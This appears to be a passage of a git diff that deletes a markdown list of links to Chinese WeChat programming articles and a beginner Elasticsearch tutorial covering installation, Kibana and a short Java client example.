[JavaGuide](https://mp.weixin.qq.com/mp/profile_ext?action=home&__biz=Mzg2OTA0Njk0OA==&scene=124#wechat_redirect) - * [30 条架构原则!](https://mp.weixin.qq.com/s/1hOmjzCnsTl24X7oU_jnBQ) - * [程序员如何快速学习新技术?](https://mp.weixin.qq.com/s/uq54tpUTBC8ew2Zgq_F0xw) - * [Redis 官方可视化工具来啦!功能真心强大](https://mp.weixin.qq.com/s/x7z6IpXmBu-gTnZGmzH0xg) - * [耗时两年,又一份 YYDS 的面试八股文!](https://mp.weixin.qq.com/s/Ht9fNaY1vCsSpyBVjPzV_g) - * [大厂偏爱的 Agent 技术到底是个啥?](https://mp.weixin.qq.com/s/P6XDyGWLKOX1dpMikpRxeg) - * [大龄程序员的自救!](https://mp.weixin.qq.com/s/6yHPCnIT-IJr8mO4LsYisg) - * [Java不支持协程?那是你不知道Quasar!](https://mp.weixin.qq.com/s/Qvsfwqtc-H3s3bqTPpzHYQ) - * [我最爱用的一款 Redis 可视化管理工具!好用到爆!!!](https://mp.weixin.qq.com/s/pf-obIP-jSaV1PONjCrPrg) - * [真不是我吹,这款 IDEA 插件你还真没用过!](https://mp.weixin.qq.com/s/fioM5qBVn4HtYXw8c5rLag) - * [对标 Kafka,消息中间件新秀 Pulsar 了解一下!](https://mp.weixin.qq.com/s/ngVwh2qgh_EBsswCSHVjIw) - * [无需 XML Mapper,Fluent Mybatis 代码即是 SQL 操作!真香?](https://mp.weixin.qq.com/s/Cq_CKWzOTv0brM57O9uQgQ) - * [8个类手撸一个简易版配置中心!造轮子真得劲啊!!!](https://mp.weixin.qq.com/s/yLAcCJNVXvi3rhWMsxTwJQ) - * [你可能没那么了解 JWT!](https://mp.weixin.qq.com/s/FijUSuMjWlGxOKrVTmo0pg) - * [MySQL模糊查询再也不用 like+% 了](https://mp.weixin.qq.com/s/J73zzR6zvRUG2k__Cv0e3g) - * [Java日志系统历史从入门到崩溃](https://mp.weixin.qq.com/s/2QKAteGZrubU_ZNi7D_UEA) - * [Java 大杀器来了!性能提升一个数量级](https://mp.weixin.qq.com/s/DvMm9HPFHoDq4YKolOn2yw) - * [欢聚时代四年多经验的Java面经](https://mp.weixin.qq.com/s/c6PUDn59y7HZ1AA1k61a2w) - * [这个反编译工具真心强大!Java 开发神器!!!](https://mp.weixin.qq.com/s/v_Euf9eDjN6HQgPcxefupQ) - * [应届生签约华为软件开发岗经验分享](https://mp.weixin.qq.com/s/qPGT8kfnub63H3Y_J4HSQg) - * [这个 SpringBoot 电商系统值得推荐!](https://mp.weixin.qq.com/s/ed2F9ZtJ-En11tBU9QOdMg) - * [腾讯程序员一天的生活……](https://mp.weixin.qq.com/s/4kinp9Ci9Oz9Z_G4s6PhyQ) - * [在新加坡当程序员是一种什么体验?](https://mp.weixin.qq.com/s/NIGUN2TDP-R_1X-qZZwKPA) - * [7 张图带你轻松入门消息队列 RocketMQ](https://mp.weixin.qq.com/s/OAXEKl27Bca1Pat27aCD4w) - * [2w 字,40 张手绘图带你搞定 Redis 数据结构](https://mp.weixin.qq.com/s/Uxyuw0m1-JRJfKimQ5pRng) - * [16张图解锁Spring的整体脉络,我学废了!](https://mp.weixin.qq.com/s/NWwl2XrIAWT7TuTf1yBMaw) - * [IntelliJ IDEA 永远滴神?](https://mp.weixin.qq.com/s/1g6nxKySfqSfej8_k3BOUQ) - * [自从学会 JMX 监控和管理 Java 程序,睡得真香!](https://mp.weixin.qq.com/s/uFCOz8WjODvT6sqnzfixzg) - * [这样使用 IDEA ,效率提升10倍!| IDEA 高效使用指南](https://mp.weixin.qq.com/s/NDZD_u-cyefM3Q05koSWQg) - * [自从用了SkyWalking,睡的真香!](https://mp.weixin.qq.com/s/ECjXWYN72ANwGMwVJoJgAQ) - * [项目开发常说的灰度发布、蓝绿发布、滚动发布到底是个啥?](https://mp.weixin.qq.com/s/B9oi_FpcpYbjLeRDyVm0Yw) - * [IDEA 官方数据库管理神器,比 Navicat 还香?](https://mp.weixin.qq.com/s/MSzcPkcg_Rd-hP0clTetjQ) - * [一个适用于SpringBoot项目的轻量级HTTP客户端框架。](https://mp.weixin.qq.com/s/rYUN1yjm_Z90GUFX5S7tHQ) - * [包装严重的IT行业,作为面试官,我是如何甄别应聘者的包装程度](https://mp.weixin.qq.com/s/WmxA48wzOtJPha3XUjH6KQ) - * [我在华为OD的275天](https://mp.weixin.qq.com/s/0gPHoUdfWtQu97A16RnUKg) - * [5款神仙插件,IDEA变得更哇塞了!](https://mp.weixin.qq.com/s/t_qsOC61Ic4EPIDl4Udyww) - * [被裁员之后的Java面经分享,10年经验,已投简历 130+](https://mp.weixin.qq.com/s/PXQ1C27CB4cf0LlU0IeS1Q) - * [再见 Spring Task,这个定时任务框架真香!](https://mp.weixin.qq.com/s/dXXAukYdfyU-U1KSSdQLsg) - * [还在从零开始搭建项目?推荐一款高颜值的前后端分离脚手架!](https://mp.weixin.qq.com/s/4Zs3BZwOxCQ2eOaKd9Z1NQ) - * [求你了,别乱打印日志了!](https://mp.weixin.qq.com/s/Bd7ldWUpUjDW_oHVM_IPhw) - * [还在用笨重的 ELK?这个轻量级开源日志系统真香!](https://mp.weixin.qq.com/s/J_nm7MyqU692Zszs-xBuNA) - * [很哇塞的一个 SpringBoot + Vue 在线网盘系统!](https://mp.weixin.qq.com/s/VYpfpuY6_r99fJsCodEJug) - * [来看看这个超好用的项目脚手架吧!5分钟搭建一个Spring Boot 前后端分离系统!](https://mp.weixin.qq.com/s/nvtVwrEaKp8ZdhDTwvc5wA) - * [八股文骚套路之Spring](https://mp.weixin.qq.com/s/vWQ96Zt339MjnjfWrpMmqg) - * [1w+字的 Dubbo 面试题/知识点总结!(2021 最新版)](https://mp.weixin.qq.com/s/uI5l5EMeiIxeZWBzma9Nhg) - * [面试官:聊聊秒杀系统如何设计?](https://mp.weixin.qq.com/s/nIQHIH5R6BcQaVuYPzOwFg) - * [我高效学习编程的心得](https://mp.weixin.qq.com/s/nOU-WUQjGMjCV_REe3CIjQ) - * [Redis 面试题/知识点总结!(2021 最新版)](https://mp.weixin.qq.com/s/ZruUzCtcFC72Ej3-0PFn3A) - * [基于 Token 的多平台身份认证架构设计!](https://mp.weixin.qq.com/s/07X7JzOHrXqLGNleBSgeIg) - * [图解操作系统、网络、计算机组成PDF下载!](https://mp.weixin.qq.com/s/uHYw2Yd6tScAWoXkiptx7A) - * [火爆 Github!一款 Nginx 可视化配置神器](https://mp.weixin.qq.com/s/esp-9HC9QJzYX46BEn8Elg) - * [真香!​MyBatis-Plus 从入门到上手干事!](https://mp.weixin.qq.com/s/tKeOw8JiSC8G4mIqQvReYA) - * [违约了,赔了一个月的工资!谈谈三方协议](https://mp.weixin.qq.com/s/LtKdTIQ0X3kyRgecTEzuvA) - * [我在国企外包一年的经历和感受](https://mp.weixin.qq.com/s/2B9popH_HV-DjkzVQ7Pnew) - * [我是怎么学习编程的?](https://mp.weixin.qq.com/s/hkQKIntXgu5Thdc8XeNRGw) - * [一坨一坨的 if/else 参数校验,终于被 SpringBoot 参数校验组件整干净了!](https://mp.weixin.qq.com/s/ZVOiT-_C3f-g7aj3760Q-g) - * [30张图!手把手带你盘 Spring Boot 前后端分离实战项目!](https://mp.weixin.qq.com/s/XnLj45P3_CmN7SixHBGJ-g) - * [2021 最新Java实战项目源码打包下载](https://mp.weixin.qq.com/s/qovVHbffkxEBcgTzYsEPag) - * [合肥有哪些牛批的互联网公司?](https://mp.weixin.qq.com/s/8100Q6DpNg7d9s7rL4ezWQ) - * [Docker 从入门到上手干事!看这篇就够了!](https://mp.weixin.qq.com/s/5nePrhTSe0m0De1j8WSmSg) - * [如何系统学习计算机网络?](https://mp.weixin.qq.com/s/nFEUZ8COMZUz5Cvn8xgiNA) - * [技术大佬们都是怎么学习的?](https://mp.weixin.qq.com/s/dmwRkt_DytjWBkfNC4RA7A) - * [一款基于 Spring Boot 的现代化社区(论坛/问答/社交网络/博客)!](https://mp.weixin.qq.com/s/q9un4X4oPr6TkjIQ0rOStg) - * [一个基于Spring Cloud 的面试刷题系统。面试、毕设、项目经验一网打尽](https://mp.weixin.qq.com/s/WWND70GFun2W9Dei5YAAyQ) -* [macrozheng](https://mp.weixin.qq.com/mp/profile_ext?action=home&__biz=MzU1Nzg4NjgyMw==&scene=124#wechat_redirect) - * [秒杀活动技术方案,Redis申请32个G,被技术总监挑战了...](https://mp.weixin.qq.com/s/i_8Ut4S0gktA6AvbAg7tTA) - * [还在用 RedisTemplate?试试 Redis 官方 ORM 框架吧,用起来够优雅!](https://mp.weixin.qq.com/s/s2MoZuapTiAUesYXpYSbhw) - * [阿里二面:外部接口大量超时,系统被拖垮,引发雪崩!咋整?](https://mp.weixin.qq.com/s/eGJ7B-XTYs-eoEtivIo2BQ) - * [SpringBoot 搭建基于 MinIO 的高性能存储服务!](https://mp.weixin.qq.com/s/lylO67bu-M1vg8BbsNbKBQ) - * [比 Elasticsearch 更快!RediSearch + RedisJSON = 王炸!](https://mp.weixin.qq.com/s/yP5vRyLXFHlduJ5N6SmBSQ) - * [一键部署 K8S 环境,10分钟玩转,这款开源神器实在太香了!](https://mp.weixin.qq.com/s/-2ZlvHfeh7gKVylrKpJyYQ) - * [颜值爆表!Redis 官方可视化工具来啦,功能真心强大!](https://mp.weixin.qq.com/s/H7dQk_8kno-GKsR_nXtbsQ) - * [MySQL + JSON = 王炸!!](https://mp.weixin.qq.com/s/A-w5t2_lwTWbFTEZ3OjPVg) - * [SpringBoot中实现业务校验,这种方式才叫优雅!](https://mp.weixin.qq.com/s/5SgoZpaxGeyGKuvRl1s5pA) - * [官方标配!吊炸天的 Linux 可视化管理工具,必须推荐给你!](https://mp.weixin.qq.com/s/p4r9hPHnNTK5EKcWIAL8Vw) - * [SpringBoot 性能这样优化,同事直呼哇塞!](https://mp.weixin.qq.com/s/QzVplEr_em-OpK2Znx1kbA) - * [推荐一款简洁好用的HTTP请求工具,界面挺酷炫!](https://mp.weixin.qq.com/s/ETUW24Lf7wfKPy5nqvyEbg) - * [再见 Feign!推荐一款微服务间调用神器,跟 SpringCloud 绝配!](https://mp.weixin.qq.com/s/IiFYud-wAFqjuZCyrD-ozA) - * [SpringBoot中这5种高大上的yml文件读取方式,你知道吗?](https://mp.weixin.qq.com/s/T7LDF9RlJ3k_2cRsFLwNBg) - * [还在用 Xshell ?试试这款炫酷的终端工具吧,功能很强大!](https://mp.weixin.qq.com/s/0PxWbOYzqqUbpxiWueGUTg) - * [18张图,详解SpringBoot解析yml全流程,写的也太好了叭!](https://mp.weixin.qq.com/s/Mhwgbcb-h0eoSmSwaNN-ww) - * [还在用HttpUtil?试试这款优雅的HTTP客户端工具吧,跟SpringBoot绝配!](https://mp.weixin.qq.com/s/lOif5gesMUzL0zdOSkZ0fg) - * [Dubbo为什么用Go重写?](https://mp.weixin.qq.com/s/sFiXusNXkAN-kzMGM8jv4A) - * [5分钟搞定!这款颜值爆表的数据可视化工具,你值得拥有!](https://mp.weixin.qq.com/s/RxexoojM4Egnzz4O2cmw3Q) - * [实战!SpringBoot 整合阿里开源 Canal 实现数据增量同步!](https://mp.weixin.qq.com/s/_tVNpEwOxWAYNIyHtQPYnw) - * [不写代码轻松实现数据可视化,这款基于SpringBoot的神器,简直绝了!](https://mp.weixin.qq.com/s/6qqnHP_jjmWUDRHqk9fMaQ) - * [这个开源任务&项目管理工具真不错!颜值绝了!](https://mp.weixin.qq.com/s/wss2ykz6214MW43uNoq9xg) - * [这些年我用过的API文档工具,个个是精品!](https://mp.weixin.qq.com/s/bETiShLbNdpQHPW6Von58g) - * [0.07 秒启动一个 SpringBoot 项目!](https://mp.weixin.qq.com/s/WrpYozkaDxU4-lqDeWgGww) - * [Sql优化的15个小技巧,这也太实用了叭!](https://mp.weixin.qq.com/s/3tZta7ubm6kb5-b_fUnnHQ) - * [MyBatis 中为什么不建议使用 where 1=1?](https://mp.weixin.qq.com/s/gMx-REGajEjW3XX_JFt_EQ) - * [Mybatis-Plus 官方神器发布!](https://mp.weixin.qq.com/s/iT1ThMsZ8uJr2TJZHofn5Q) - * [当 Swagger 遇上 Torna,瞬间高大上了!](https://mp.weixin.qq.com/s/xiJU9YMtT3Y9ISmNlTaKew) - * [如何保证系统的高可用,异地多活了解下!](https://mp.weixin.qq.com/s/mSOs1KPFTa-veQe48YAX1w) - * [还在用Swagger?试试这款零注解侵入的API文档生成工具,跟Postman绝配!](https://mp.weixin.qq.com/s/ZbRYG-_AzDotnfgouv19NA) - * [@Value竟然能玩出这么多花样,涨知识了](https://mp.weixin.qq.com/s/hfO_ZwhLWoNc6BPoqv2rzQ) - * [干掉 BeanUtils!试试这款 Bean 自动映射工具,真心强大!](https://mp.weixin.qq.com/s/Yt3IIBwbgoweQnI0buSW6Q) - * [SpringBoot实现Excel导入导出,好用到爆,POI可以扔掉了!](https://mp.weixin.qq.com/s/Dz9wiLVoKHzNdQWdeLIDQA) - * [SpringBoot 如何生成接口文档,老鸟们都这么玩的!](https://mp.weixin.qq.com/s/w5-wJbq38mmt0312fqlJJA) - * [16 个 Redis 常见使用场景!](https://mp.weixin.qq.com/s/ReDg_P9W8QkYBsJrVEEIzw) - * [12 款 yyds 的 IDEA插件,配上18条使用技巧,绝了!](https://mp.weixin.qq.com/s/JbnRJeODZcAkZ527oXeSjg) - * [无需开发部署,秒建优雅的开源项目文档,这个工具用起来贼爽!](https://mp.weixin.qq.com/s/1dhQkSM_au3HICeGL4eoWQ) - * [SpringBoot+Kafka+ELK 完成海量日志收集(超详细)!](https://mp.weixin.qq.com/s/KiJTBDxsAEb4mpCjQKUqnw) - * [简直神器!一键生成靓丽的博客网站,真香!](https://mp.weixin.qq.com/s/2OzZjAsPPCwD2Gc8PCIUiA) - * [为什么人家的开源项目文档如此炫酷?原来用的是这款神器!](https://mp.weixin.qq.com/s/zFUCBYCiTg1URwzpG7O8uQ) - * [还在从零开始搭建项目?推荐一款高颜值的前后端分离脚手架!](https://mp.weixin.qq.com/s/rConx8VVbf_o9fibHGHbzQ) - * [开箱即用!看看人家的微服务权限解决方案,那叫一个优雅!](https://mp.weixin.qq.com/s/w4uBKMCaCeVY1ujHOmYB7w) - * [微服务的灵魂摆渡者Nacos究竟有多强?](https://mp.weixin.qq.com/s/PCzmZAB8ArHxX0_cyqm47w) - * [再见Spring Security!推荐一款功能强大的权限认证框架,用起来够优雅!](https://mp.weixin.qq.com/s/v4b7b-r1V8lpd_oV7qoH8g) - * [SpringBoot配置文件、隐私数据脱敏的最佳实践!](https://mp.weixin.qq.com/s/1w_atnVINxVEvyh2KcCqCg) - * [Session、Token、Jwt、Oauth2 傻傻分不清?](https://mp.weixin.qq.com/s/N0FvFuo9RuUGzT85qb3RWA) - * [基于SpringBoot的文件在线预览神器,可支持99%常用文件的在线预览!](https://mp.weixin.qq.com/s/Q0KAMTEaTFLT0KmeJ9HK5w) - * [发现一款好用到爆的数据库工具,被惊艳到了!](https://mp.weixin.qq.com/s/rmU0IlpbXrD1XyI5Of0t6w) - * [秒杀系统要如何设计?](https://mp.weixin.qq.com/s/Kd8iHnsF-2lJ5FSQvTbljg) - * [还在滥用try-catch处理异常?看看SpringBoot的优雅实现吧!](https://mp.weixin.qq.com/s/uuIM8M7pW4GnYBqYRwDTCA) - * [Github标星28K+!这款可视化的对象存储服务真香!](https://mp.weixin.qq.com/s/qHjOEeQ3CaA0U4a2YBi3Pw) - * [ZooKeeper、Eureka、Consul 、Nacos,微服务注册中心怎么选?](https://mp.weixin.qq.com/s/nWBI5GJcog9VafAn4gOWhw) - * [吊炸天的可视化安全框架,轻松搭建自己的认证授权平台!](https://mp.weixin.qq.com/s/yXSVbgkYIcJWPe4n2hSeUA) - * [再见笨重的ELK!这套轻量级日志收集方案要火!](https://mp.weixin.qq.com/s/lXm-Jm7ogCMtdeQBAOOO5g) - * [实时同步数据库变更,这个框架真是神器!](https://mp.weixin.qq.com/s/odrEdoAhG7p6rwOSBDE5uQ) - * [号称下一代可视化监控系统,结合SpringBoot使用,贼爽!](https://mp.weixin.qq.com/s/F392WVfVlqBNlUQVtQUn8A) - * [全新一代API网关,带可视化管理,文档贼友好!](https://mp.weixin.qq.com/s/1w2ERJUNzEF9-w6dqWkrYQ) - * [我们为什么要分库分表?](https://mp.weixin.qq.com/s/AB5yI6NpUOTiqqmyoUqJNA) - * [10个解放双手的 IDEA 插件,有些代码真心不用手写!](https://mp.weixin.qq.com/s/5_rRPZiJQW-0_f4yTjjxuw) - * [你管这破玩意叫 OAuth2?](https://mp.weixin.qq.com/s/hHDPcGiDX1j8Rth9HZ-n6A) - * [如何保证API接口安全?](https://mp.weixin.qq.com/s/fhS4UkbhxXYpJbzvz_AcRQ) - * [再见RocketMQ!全新一代消息中间件,带可视化管理,文档贼友好!](https://mp.weixin.qq.com/s/xThubzGzZGbtvVniQsb7ag) - * [Redis 这破玩意为什么那么快?](https://mp.weixin.qq.com/s/Z5ok9uSxZZ5NfXiVy-Ac9A) - * [MQ 的那些破事儿,你不好奇吗?](https://mp.weixin.qq.com/s/9tUnhdVRHHkpGpYUQdFVuQ) - * [吊炸天的 Kafka 图形化工具 Eagle,必须推荐给你!](https://mp.weixin.qq.com/s/V3niDxdT_PiTbru80UGz4A) - * [你管这破玩意儿叫 Token?](https://mp.weixin.qq.com/s/yhE5RJxrNmATOdmDhwXyDA) - * [再见!收费的 XShell,我改用这款国产良心工具!](https://mp.weixin.qq.com/s/Z594tyBbcQPyUw5q5GnANw) - * [分布式Session的几种解决方案,你中意哪种?](https://mp.weixin.qq.com/s/zObBXfKv9129u0h9b8VTOQ) - * [Redis与MySQL双写一致性如何保证?](https://mp.weixin.qq.com/s/VtB3cdTGB67iqok5pxYyhw) - * [绝了!基于SpringBoot的可视化接口开发工具,不再需要Controller、Service、Dao!](https://mp.weixin.qq.com/s/YQLMV8_NmJta9lbCICrALw) - * [再见前端!纯 Java 撸个后台管理系统,这框架用起来贼爽!](https://mp.weixin.qq.com/s/jZ44i8nJRPKwewohoq59Jw) - * [k8s主要概念大梳理!](https://mp.weixin.qq.com/s/wOMzZw-CImSgDoQasy2iHg) - * [使用 uuid 作为数据库主键,被技术总监怼了一顿!](https://mp.weixin.qq.com/s/8sSseiNLhFdFV91V7TCSmA) - * [吊炸天的 Docker 图形化工具 Portainer,必须推荐给你!](https://mp.weixin.qq.com/s/YRqISK4yJo9J9WzzTvD9CQ) - * [高并发下如何保证接口的幂等性?](https://mp.weixin.qq.com/s/09CKM9wTMWnbtVgoM9_p2w) - * [加速 SpringBoot 应用开发,官方热部署神器真带劲!](https://mp.weixin.qq.com/s/KR4eMpH-zCR8OvxHeGL69Q) - * [为什么数据库字段要使用 NOT NULL?](https://mp.weixin.qq.com/s/XyOU6dimeZNjzIYyTv_fPA) - * [玩转 Elasticsearch 中文搜索,写的也太好了叭!](https://mp.weixin.qq.com/s/FEamn93OBO5KBsfk1emDFQ) - * [Docker一键部署 SpringBoot 应用的方法,贼快贼好用!](https://mp.weixin.qq.com/s/02l107i1zTWcs35PGrapoA) - * [面试官:如果让你来设计一个 MQ,该如何下手?](https://mp.weixin.qq.com/s/mtHTgv32ERFfaYAJVUw0jQ) - * [SpringBoot 整合 MongoDB 超详细,写得太好了叭!](https://mp.weixin.qq.com/s/Cj-NpCjj6ZOgoAPfht1Smg) - * [再见,HttpClient!再见,Okhttp!](https://mp.weixin.qq.com/s/FXvQI7Goo8kWCWBnWyvo0Q) - * [凉了!面试官让设计一个排行榜!](https://mp.weixin.qq.com/s/UYOzrjyzdSEDKr3YUJZyRw) - * [MyBatis 的执行流程,写得太好了叭!](https://mp.weixin.qq.com/s/WjsyxcofGtvD7NAbR83sBA) - * [面试官问:为什么SpringBoot的 jar 可以直接运行?](https://mp.weixin.qq.com/s/zHog1wM6NvtpyqqkWJBe2A) - * [5分钟快速了解Docker的底层原理!](https://mp.weixin.qq.com/s/fF0aDfBeI2oEnsUS5Fmc4w) - * [面试官:MySQL是如何保证不丢数据的?](https://mp.weixin.qq.com/s/2rsYy6QA5FQPqK9hjtvj6A) - * [面试官:数据库自增ID用完了会怎么样?](https://mp.weixin.qq.com/s/_weUT_TF833FetTb28OXHA) - * [你真的了解 SQL 注入吗?](https://mp.weixin.qq.com/s/EzhYZStOgG_uMWt-xKesfg) - * [Mall电商实战项目专属学习路线,主流技术一网打尽!](https://mp.weixin.qq.com/s/msD98uP8_B_Mb7L-nKbg6w) - * [定时任务的实现原理,看完就能手撸一个!](https://mp.weixin.qq.com/s/ucEFKf-5T-Fsfr27oFHTbQ) -* 三分恶 - * [手撸一个Spring容器!](https://mp.weixin.qq.com/s/MYUfMxyaaJzEwGXA2VHv-w) - * [彻底搞定MyBatis!](https://mp.weixin.qq.com/s/O_5Id2o9IP4loPazJuiHng) - * [计算机网络六十二问](https://mp.weixin.qq.com/s/yAlErlC09GnjaVvwUo3Acg) - * [如何设计百万人抽奖系统……](https://mp.weixin.qq.com/s/ErmcMBAGDDjvglIgNLIMBA) - * [线程池](https://mp.weixin.qq.com/s/Exy7pRGND9TCjRd9TZK4jg) - * [CAP和BASE](https://mp.weixin.qq.com/s/0weRsF8N66_e9Idwx0lbIQ) - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() - * []() \ No newline at end of file diff --git a/docs/src/elasticsearch/rumen.md b/docs/src/elasticsearch/rumen.md deleted file mode 100644 index c43e09c907..0000000000 --- a/docs/src/elasticsearch/rumen.md +++ /dev/null @@ -1,189 +0,0 @@ ---- -category: - - Java企业级开发 -tag: - - Elasticsearch ---- - -# 全文搜索引擎Elasticsearch入门教程 - -学习真的是一件令人开心的事情,上次分享了 [Redis 入门](https://mp.weixin.qq.com/s/NPJkMy5RppyFk9QhzHxhrw)的文章后,收到了很多小伙伴的鼓励,比如说:“哎呀,不错呀,二哥,通俗易懂,十分钟真的入门了”。瞅瞅,瞅瞅,我决定再接再厉,入门一下 Elasticsearch,因为我们公司的商城系统升级了,需要用 Elasticsearch 做商品的搜索。 - -不过,我首先要声明一点,我对 Elasticsearch 并没有进行很深入的研究,仅仅是因为要用,就学一下。但作为一名负责任的技术博主,我是用心的,为此还特意在某某时间上买了一门视频课程,作者叫阮一鸣。说实话,他光秃秃的头顶让我对这门课程产生了浓厚的兴趣。 - -经过三天三夜的学习,总算是入了 Elasticsearch 的门,我就决定把这些心得体会分享出来,感兴趣的小伙伴可以作为参考。遇到文章中有错误的地方,不要手下留情,过来捶我,只要不打脸就好。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/elasticsearch/rumen-ebb2bdbc-2cdb-4540-b48f-41f92c848f2f.jpg) - - -### 01、Elasticsearch 是什么 - ->Elasticsearch 是一个分布式、RESTful 风格的搜索和数据分析引擎,能够解决不断涌现出的各种用例。 作为 Elastic Stack 的核心,它集中存储您的数据,帮助您发现意料之中以及意料之外的情况。 - -以上引用来自于官方,不得不说,解释得蛮文艺的。意料之中和意料之外,这两个词让我想起来了某一年的高考作文题(情理之中和意料之外)。 - -Elastic Stack 又是什么呢?整个架构图如下图(来源于网络,侵删)所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/elasticsearch/rumen-04b04318-25c9-4eb5-895e-9c608a4b26f9.jpg) - -信息量比较多,对吧?那就记住一句话吧,Elasticsearch 是 Elastic Stack 的核心。 - -国内外的很多知名公司都在用 Elasticsearch,比如说滴滴、今日头条、谷歌、微软等等。Elasticsearch 有很多强大的功能,比如说全文搜索、购物推荐、附近定位推荐等等。 - -理论方面的内容就不说太多了,我怕小伙伴们会感到枯燥。毕竟入门嘛,实战才重要。 - -### 02、安装 Elasticsearch - -Elasticsearch 是由 Java 开发的,所以早期的版本需要先在电脑上安装 JDK 进行支持。后来的版本中内置了 Java 环境,所以直接下载就行了。Elasticsearch 针对不同的操作系统有不同的安装包,我们这篇入门的文章就以 Windows 为例吧。 - -下载地址如下: - -[https://www.elastic.co/cn/downloads/elasticsearch](https://www.elastic.co/cn/downloads/elasticsearch) - -最新的版本是 7.6.2,280M 左右。但我硬生生花了 10 分钟的时间才下载完毕,不知道是不是连通的 200M 带宽不给力,还是官网本身下载的速度就慢,反正我去洗了 6 颗葡萄吃完后还没下载完。 - -Elasticsearch 是免安装的,只需要把 zip 包解压就可以了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/elasticsearch/rumen-07da0521-74eb-4a90-b17f-59258e622609.jpg) - -1)bin 目录下是一些脚本文件,包括 Elasticsearch 的启动执行文件。 - -2)config 目录下是一些配置文件。 - -3)jdk 目录下是内置的 Java 运行环境。 - -4)lib 目录下是一些 Java 类库文件。 - -5)logs 目录下会生成一些日志文件。 - -6)modules 目录下是一些 Elasticsearch 的模块。 - -7)plugins 目录下可以放一些 Elasticsearch 的插件。 - -直接双击 bin 目录下的 elasticsearch.bat 文件就可以启动 Elasticsearch 服务了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/elasticsearch/rumen-7dd19afd-1aeb-49b6-a07c-f11e139fe3d3.jpg) - -输出的日志信息有点多,不用细看,注意看到有“started”的字样就表明启动成功了。为了进一步确认 Elasticsearch 有没有启动成功,可以在浏览器的地址栏里输入 `http://localhost:9200` 进行查看(9200 是 Elasticsearch 的默认端口号)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/elasticsearch/rumen-51f269c2-7482-494a-8a04-6585f20176a7.jpg) - -你看,为了 Search。 - -那如何停止服务呢?可以直接按下 `Ctrl+C` 组合键——粗暴、壁咚。 - -### 03、安装 Kibana - -通过 Kibana,我们可以对 Elasticsearch 服务进行可视化操作,就像在 Linux 操作系统下安装一个图形化界面一样。 - -下载地址如下: - -[https://www.elastic.co/cn/downloads/kibana](https://www.elastic.co/cn/downloads/kibana) - -最新的版本是 7.6.2,284M 左右,体积和 Elasticsearch 差不多。选择下载 Windows 版,zip 格式的,完成后直接解压就行了。下载的过程中又去洗了 6 颗葡萄吃,狗头。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/elasticsearch/rumen-12372ee6-acc0-4425-964b-ca32886f17ce.jpg) - -包目录不再一一解释了,进入 bin 目录下,双击运行 kibana.bat 文件,启动 Kibana 服务。整个过程比 Elasticsearch 要慢一些,当看到 `[Kibana][http] http server running` 的信息后,说明服务启动成功了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/elasticsearch/rumen-784d70ef-b6e7-4312-85f1-36ace9b2a5bd.jpg) - -在浏览器地址栏输入 `http://localhost:5601` 查看 Kibana 的图形化界面。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/elasticsearch/rumen-e6f64545-a925-4bb4-a25e-44129832fb4e.jpg) - -由于当前的 Elasticsearch 服务端中还没有任何数据,所以我们可以选择「Try Our Sample Data」导入 Kibana 提供的模拟数据体验一下。下图是导入电商数据库的看板页面,是不是很丰富? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/elasticsearch/rumen-a16d99ff-272d-43bb-aa94-23b240cc464b.jpg) - -打开 Dev Tools 面板,可以看到一个简单的 DSL 查询语句(一种完全基于 JSON 的特定于领域的语言),点击「运行」按钮后就可以看到 JSON 格式的数据了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/elasticsearch/rumen-5c44bd79-d3a9-49fb-9414-04dc38840cfb.jpg) - -### 04、Elasticsearch 的关键概念 - -在进行下一步之前,需要先来理解 Elasticsearch 中的几个关键概念,比如说什么是索引,什么是类型,什么是文档等等。Elasticsearch 既然是一个数据引擎,它里面的一些概念就和 MySQL 有一定的关系。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/elasticsearch/rumen-ad2b2f8c-5a19-4c5e-9bc7-cf7ba17830bf.jpg) - -看完上面这幅图(来源于网络,侵删),是不是瞬间就清晰了。向 Elasticsearch 中存储数据,其实就是向 Elasticsearch 中的 index 下面的 type 中存储 JSON 类型的数据。 - - -### 05、在 Java 中使用 Elasticsearch - -有些小伙伴可能会问,“二哥,我是一名 Java 程序员,我该如何在 Java 中使用 Elasticsearch 呢?”这个问题问得好,这就来,这就来。 - -Elasticsearch 既然内置了 Java 运行环境,自然就提供了一系列 API 供我们操作。 - -第一步,在项目中添加 Elasticsearch 客户端依赖: - -``` - - org.elasticsearch.client - elasticsearch-rest-high-level-client - 7.6.2 - -``` - -第二步,新建测试类 ElasticsearchTest: - -```java -public class ElasticsearchTest { - public static void main(String[] args) throws IOException { - - RestHighLevelClient client = new RestHighLevelClient( - RestClient.builder( - new HttpHost("localhost", 9200, "http"))); - - IndexRequest indexRequest = new IndexRequest("writer") - .id("1") - .source("name", "沉默王二", - "age", 18, - "memo", "一枚有趣的程序员"); - IndexResponse indexResponse = client.index(indexRequest, RequestOptions.DEFAULT); - - GetRequest getRequest = new GetRequest("writer", "1"); - - GetResponse getResponse = client.get(getRequest, RequestOptions.DEFAULT); - String sourceAsString = getResponse.getSourceAsString(); - - System.out.println(sourceAsString); - client.close(); - } -} -``` - -1)RestHighLevelClient 为 Elasticsearch 提供的 REST 客户端,可以通过 HTTP 的形式连接到 Elasticsearch 服务器,参数为主机名和端口号。 - -有了 RestHighLevelClient 客户端,我们就可以向 Elasticsearch 服务器端发送请求并获取响应。 - -2)IndexRequest 用于向 Elasticsearch 服务器端添加一个索引,参数为索引关键字,比如说“writer”,还可以指定 id。通过 source 的方式可以向当前索引中添加文档数据源(键值对的形式)。 - -有了 